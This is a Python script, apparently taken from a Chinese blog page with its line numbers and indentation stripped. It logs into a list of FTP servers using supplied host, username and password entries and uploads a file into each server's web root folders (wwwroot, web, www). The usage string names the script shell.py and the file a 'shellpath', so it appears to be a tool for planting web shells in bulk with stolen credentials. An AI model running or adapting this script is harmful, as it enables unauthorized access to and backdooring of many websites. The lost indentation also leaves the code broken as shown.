文章目录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
__author__ = 'iswin'
import ftplib
import os
import socket
import sys
import _thread
RPATH={"wwwroot","web","www"}
def upload(host,username,password,file):
try:
ftp=ftplib.FTP(host=host,timeout=30)
except:
print("Error!")
return
print("Connect to host %s"%host)
try:
ftp.login(user=username,passwd=password)
except:
print("Login Error!")
ftp.quit();
return
print("Connect successful!")
for dir in RPATH:
try:
ftp.cwd(dir)
fd=open(file,"rb")
ftp.storbinary('STOR %s'%os.path.basename(file),fd)
except:
print("can't upload the file %s"%file)
else:
print("upload %s to %s successful"%(file,host))
ftp.quit()
fd.close()
return
finally:
fd.close()
if __name__=="__main__":
if len(sys.argv)<2:
print("usage:python shell.py ftplist shellpath")
sys.exit()
ftplist=sys.argv[1]
shellpath=sys.argv[2]
file=open(ftplist)
while True:
line=file.readline()
if not line:
break
else:
username=line.split(",")
upload(username[0],username[1],username[2],shellpath)
print("host:%s username:%s password:%s"%(username[0],username[1],username[2]))
文章目录